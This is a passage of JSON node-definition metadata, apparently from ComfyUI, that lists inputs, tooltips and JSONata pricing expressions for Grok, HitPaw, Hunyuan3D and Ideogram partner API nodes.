"api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokImageEditNodeV2", "display_name": "Grok Image Edit", "description": "Modify an existing image based on a text prompt", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/image/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.number_of_images", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isQualityModel := widgets.model = \"grok-imagine-image-quality\";\n $isPro := $contains(widgets.model, \"pro\");\n $res := $lookup(widgets, \"model.resolution\");\n $n := $lookup(widgets, \"model.number_of_images\");\n $rate := $isQualityModel\n ? ($res = \"1k\" ? 0.05 : 0.07)\n : ($isPro ? 0.07 : 0.02);\n $base := $isQualityModel ? 0.01 : 0.002;\n $output := $rate * $n;\n $isPro\n ? {\"type\":\"usd\",\"usd\": $base + $output}\n : {\"type\":\"range_usd\",\"min_usd\": $base + $output, \"max_usd\": 3 * $base + $output}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "grok-imagine-video-1.5 currently always requires an input image.", "multiselect": false, "options": ["grok-imagine-video", "grok-imagine-video-1.5"]}], "prompt": ["STRING", {"tooltip": "Text description of the desired video.", "multiline": true}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video. 1080p is only available for grok-imagine-video-1.5.", "multiselect": false, "options": ["480p", "720p", "1080p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["auto", "16:9", "4:3", "3:2", "1:1", "2:3", "3:4", "9:16"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 6, "min": 1, "max": 15, "step": 1, "display": "slider"}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"image": ["IMAGE", {"tooltip": "Optional starting image for grok-imagine-video. Required for grok-imagine-video-1.5."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "resolution", "aspect_ratio", "duration", "seed"], "optional": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokVideoNode", "display_name": "Grok Video", "description": "Generate video from a prompt or an image", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/video/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": ["image"], "input_groups": []}, "expr": "\n (\n $is15 := $contains(widgets.model, \"1.5\");\n $rate := $is15\n ? (widgets.resolution = \"1080p\" ? 0.25 : (widgets.resolution = \"720p\" ? 0.14 : 0.08))\n : (widgets.resolution = \"720p\" ? 0.07 : 0.05);\n $imgCost := $is15 ? 0.01 : 0.002;\n $base := $rate * widgets.duration;\n $total := inputs.image.connected ? $base + $imgCost : $base;\n {\"type\":\"usd\",\"usd\": $is15 ? $total * 1.43 : $total}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokVideoReferenceNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the desired video.", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The model to use for video generation.", "options": [{"key": "grok-imagine-video", "inputs": {"required": {"reference_images": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 7 reference images to guide the video generation.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "reference_", "min": 1, "max": 7}}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["16:9", "4:3", "3:2", "1:1", "2:3", "3:4", "9:16"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 6, "min": 2, "max": 10, "step": 1, "display": "slider"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokVideoReferenceNode", "display_name": "Grok Reference-to-Video", "description": "Generate video guided by reference images as style and content references.", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/video/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": ["model.reference_images"]}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $refs := $lookup(inputGroups, \"model.reference_images\");\n $rate := $res = \"720p\" ? 0.07 : 0.05;\n $price := ($rate * $dur + 0.002 * $refs) * 1.43;\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokVideoEditNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["grok-imagine-video"]}], "prompt": ["STRING", {"tooltip": "Text description of the desired video.", "multiline": true}], "video": ["VIDEO", {"tooltip": "Maximum supported duration is 8.7 seconds and 50MB file size."}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "video", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokVideoEditNode", "display_name": "Grok Video Edit", "description": "Edit an existing video based on a text prompt.", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/video/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.06, \"format\": {\"suffix\": \"/sec\", \"approximate\": true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokVideoExtendNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of what should happen next in the video.", "multiline": true}], "video": ["VIDEO", {"tooltip": "Source video to extend. MP4 format, 2-15 seconds."}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The model to use for video extension.", "options": [{"key": "grok-imagine-video", "inputs": {"required": {"duration": ["INT", {"tooltip": "Length of the extension in seconds.", "default": 8, "min": 2, "max": 10, "step": 1, "display": "slider"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "video", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokVideoExtendNode", "display_name": "Grok Video Extend", "description": "Extend an existing video with a seamless continuation based on a text prompt.", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/video/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $dur := $lookup(widgets, \"model.duration\");\n {\n \"type\": \"range_usd\",\n \"min_usd\": (0.02 + 0.05 * $dur) * 1.43,\n \"max_usd\": (0.15 + 0.05 * $dur) * 1.43\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HitPawGeneralImageEnhance": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["generative_portrait", "generative"]}], "image": ["IMAGE", {}], "upscale_factor": ["COMBO", {"multiselect": false, "options": [1, 2, 4]}], "auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale input image if output would exceed the limit.", "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "upscale_factor", "auto_downscale"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "HitPawGeneralImageEnhance", "display_name": "HitPaw General Image Enhance", "description": "Upscale low-resolution images to super-resolution, eliminate artifacts and noise. Maximum output: 32 megapixels.", "python_module": "comfy_api_nodes.nodes_hitpaw", "category": "partner/image/HitPaw", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"generative_portrait\": {\"min\": 0.02, \"max\": 0.06},\n \"generative\": {\"min\": 0.05, \"max\": 0.15}\n };\n $price := $lookup($prices, widgets.model);\n {\n \"type\": \"range_usd\",\n \"min_usd\": $price.min,\n \"max_usd\": $price.max\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HitPawVideoEnhance": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Portrait Restore Model (1x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "Portrait Restore Model (2x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "General Restore Model (1x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "General Restore Model (2x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "General Restore Model (4x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "Ultra HD Model (2x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "Generative Model (1x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD"]}]}}}]}], "video": ["VIDEO", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "video"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HitPawVideoEnhance", "display_name": "HitPaw Video Enhance", "description": "Upscale low-resolution videos to high resolution, eliminate artifacts and noise. Prices shown are per second of video.", "python_module": "comfy_api_nodes.nodes_hitpaw", "category": "partner/video/HitPaw", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := $lookup(widgets, \"model\");\n $res := $lookup(widgets, \"model.resolution\");\n $standard_model_prices := {\n \"original\": {\"min\": 0.01, \"max\": 0.198},\n \"720p\": {\"min\": 0.01, \"max\": 0.06},\n \"1080p\": {\"min\": 0.015, \"max\": 0.09},\n \"2k/qhd\": {\"min\": 0.02, \"max\": 0.117},\n \"4k/uhd\": {\"min\": 0.025, \"max\": 0.152},\n \"8k\": {\"min\": 0.033, \"max\": 0.198}\n };\n $ultra_hd_model_prices := {\n \"original\": {\"min\": 0.015, \"max\": 0.264},\n \"720p\": {\"min\": 0.015, \"max\": 0.092},\n \"1080p\": {\"min\": 0.02, \"max\": 0.12},\n \"2k/qhd\": {\"min\": 0.026, \"max\": 0.156},\n \"4k/uhd\": {\"min\": 0.034, \"max\": 0.203},\n \"8k\": {\"min\": 0.044, \"max\": 0.264}\n };\n $generative_model_prices := {\n \"original\": {\"min\": 0.015, \"max\": 0.338},\n \"720p\": {\"min\": 0.008, \"max\": 0.090},\n \"1080p\": {\"min\": 0.05, \"max\": 0.15},\n \"2k/qhd\": {\"min\": 0.038, \"max\": 0.225},\n \"4k/uhd\": {\"min\": 0.056, \"max\": 0.338}\n };\n $prices := $contains($m, \"ultra hd\") ? $ultra_hd_model_prices :\n $contains($m, \"generative\") ? $generative_model_prices :\n $standard_model_prices;\n $price := $lookup($prices, $res);\n {\n \"type\": \"range_usd\",\n \"min_usd\": $price.min,\n \"max_usd\": $price.max,\n \"format\": {\"approximate\": true, \"suffix\": \"/second\"}\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TencentTextToModelNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "The LowPoly option is unavailable for the `3.1` model.", "multiselect": false, "options": ["3.0", "3.1"]}], "prompt": ["STRING", {"tooltip": "Supports up to 1024 characters.", "default": "", "multiline": true}], "face_count": ["INT", {"default": 500000, "min": 3000, "max": 1500000}], "generate_type": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Normal", "inputs": {"required": {"pbr": ["BOOLEAN", {"default": false}]}}}, {"key": "LowPoly", "inputs": {"required": {"polygon_type": ["COMBO", {"multiselect": false, "options": ["triangle", "quadrilateral"]}], "pbr": ["BOOLEAN", {"default": false}]}}}, {"key": "Geometry", "inputs": {"required": {}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "prompt", "face_count", "generate_type", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB", "FILE_3D_OBJ", "IMAGE"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "GLB", "OBJ", "texture_image"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "TencentTextToModelNode", "display_name": "Hunyuan3D: Text to Model", "description": "", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "generate_type", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "generate_type.pbr", "type": "BOOLEAN"}, {"name": "face_count", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $base := widgets.generate_type = \"normal\" ? 25 : widgets.generate_type = \"lowpoly\" ? 30 : 15;\n $pbr := $lookup(widgets, \"generate_type.pbr\") ? 10 : 0;\n $face := widgets.face_count != 500000 ? 10 : 0;\n {\"type\":\"usd\",\"usd\": ($base + $pbr + $face) * 0.02}\n )\n "}, "search_aliases": null, "essentials_category": "3D", "has_intermediate_output": false}, "TencentImageToModelNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "The LowPoly option is unavailable for the `3.1` model.", "multiselect": false, "options": ["3.0", "3.1"]}], "image": ["IMAGE", {}], "face_count": ["INT", {"default": 500000, "min": 3000, "max": 1500000}], "generate_type": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Normal", "inputs": {"required": {"pbr": ["BOOLEAN", {"default": false}]}}}, {"key": "LowPoly", "inputs": {"required": {"polygon_type": ["COMBO", {"multiselect": false, "options": ["triangle", "quadrilateral"]}], "pbr": ["BOOLEAN", {"default": false}]}}}, {"key": "Geometry", "inputs": {"required": {}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "optional": {"image_left": ["IMAGE", {}], "image_right": ["IMAGE", {}], "image_back": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "image", "face_count", "generate_type", "seed"], "optional": ["image_left", "image_right", "image_back"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB", "FILE_3D_OBJ", "IMAGE", "IMAGE", "IMAGE", "IMAGE"], "output_is_list": [false, false, false, false, false, false, false], "output_name": ["model_file", "GLB", "OBJ", "texture_image", "optional_metallic", "optional_normal", "optional_roughness"], "output_tooltips": [null, null, null, null, null, null, null], "output_matchtypes": null, "name": "TencentImageToModelNode", "display_name": "Hunyuan3D: Image(s) to Model", "description": "", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "generate_type", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "generate_type.pbr", "type": "BOOLEAN"}, {"name": "face_count", "type": "INT"}], "inputs": ["image_left", "image_right", "image_back"], "input_groups": []}, "expr": "\n (\n $base := widgets.generate_type = \"normal\" ? 25 : widgets.generate_type = \"lowpoly\" ? 30 : 15;\n $multiview := (\n inputs.image_left.connected or inputs.image_right.connected or inputs.image_back.connected\n ) ? 10 : 0;\n $pbr := $lookup(widgets, \"generate_type.pbr\") ? 10 : 0;\n $face := widgets.face_count != 500000 ? 10 : 0;\n {\"type\":\"usd\",\"usd\": ($base + $multiview + $pbr + $face) * 0.02}\n )\n "}, "search_aliases": null, "essentials_category": "3D", "has_intermediate_output": false}, "TencentModelTo3DUVNode": {"input": {"required": {"model_3d": ["FILE_3D_GLB,FILE_3D_OBJ,FILE_3D_FBX,FILE_3D", {"tooltip": "Input 3D model (GLB, OBJ, or FBX)"}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 1, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D_OBJ", "FILE_3D_FBX", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["OBJ", "FBX", "uv_image"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TencentModelTo3DUVNode", "display_name": "Hunyuan3D: Model to UV", "description": "Perform UV unfolding on a 3D model to generate UV texture. Input model must have less than 30000 faces.", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Tencent3DTextureEditNode": {"input": {"required": {"model_3d": ["FILE_3D_FBX,FILE_3D", {"tooltip": "3D model in FBX format. Model should have less than 100000 faces."}], "prompt": ["STRING", {"tooltip": "Describes texture editing. Supports up to 1024 UTF-8 characters.", "default": "", "multiline": true}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D_GLB", "FILE_3D_OBJ", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["GLB", "OBJ", "texture_image"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "Tencent3DTextureEditNode", "display_name": "Hunyuan3D: 3D Texture Edit", "description": "After inputting the 3D model, perform 3D model texture redrawing.", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.6}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Tencent3DPartNode": {"input": {"required": {"model_3d": ["FILE_3D_FBX,FILE_3D", {"tooltip": "3D model in FBX format. Model should have less than 30000 faces."}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D_FBX"], "output_is_list": [false], "output_name": ["FBX"], "output_tooltips": [null], "output_matchtypes": null, "name": "Tencent3DPartNode", "display_name": "Hunyuan3D: 3D Part", "description": "Automatically perform component identification and generation based on the model structure.", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.6}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TencentSmartTopologyNode": {"input": {"required": {"model_3d": ["FILE_3D_GLB,FILE_3D_OBJ,FILE_3D", {"tooltip": "Input 3D model (GLB or OBJ)"}], "polygon_type": ["COMBO", {"tooltip": "Surface composition type.", "multiselect": false, "options": ["triangle", "quadrilateral"]}], "face_level": ["COMBO", {"tooltip": "Polygon reduction level.", "multiselect": false, "options": ["medium", "high", "low"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d", "polygon_type", "face_level", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D_OBJ"], "output_is_list": [false], "output_name": ["OBJ"], "output_tooltips": [null], "output_matchtypes": null, "name": "TencentSmartTopologyNode", "display_name": "Hunyuan3D: Smart Topology", "description": "Perform smart retopology on a 3D model. Supports GLB/OBJ formats; max 200MB; recommended for high-poly models.", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":1.0}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "IdeogramV1": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "turbo": ["BOOLEAN", {"tooltip": "Whether to use turbo mode (faster generation, potentially lower quality)", "default": false}]}, "optional": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio for image generation.", "default": "1:1", "multiselect": false, "options": ["1:1", "4:3", "3:4", "16:9", "9:16", "2:1", "1:2", "3:2", "2:3", "4:5", "5:4"]}], "magic_prompt_option": ["COMBO", {"tooltip": "Determine if MagicPrompt should be used in generation", "advanced": true, "default": "AUTO", "multiselect": false, "options": ["AUTO", "ON", "OFF"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "negative_prompt": ["STRING", {"tooltip": "Description of what to exclude from the image", "default": "", "multiline": true}], "num_images": ["INT", {"default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "turbo"], "optional": ["aspect_ratio", "magic_prompt_option", "seed", "negative_prompt", "num_images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "IdeogramV1", "display_name": "Ideogram V1", "description": "Generates images using the Ideogram V1 model.", "python_module": "comfy_api_nodes.nodes_ideogram", "category": "partner/image/Ideogram", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "num_images", "type": "INT"}, {"name": "turbo", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $n := widgets.num_images;\n $base := (widgets.turbo = true) ? 0.0286 : 0.0858;\n {\"type\":\"usd\",\"usd\": $round($base * $n, 2)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "IdeogramV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "turbo": ["BOOLEAN", {"tooltip": "Whether to use turbo mode (faster generation, potentially lower quality)", "default": false}]}, "optional": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio for image generation. Ignored if resolution is not set to AUTO.", "default": "1:1", "multiselect": false, "options": ["1:1", "4:3", "3:4", "16:9", "9:16", "2:1", "1:2", "3:2", "2:3", "4:5", "5:4"]}], "resolution": ["COMBO", {"tooltip": "The resolution for image 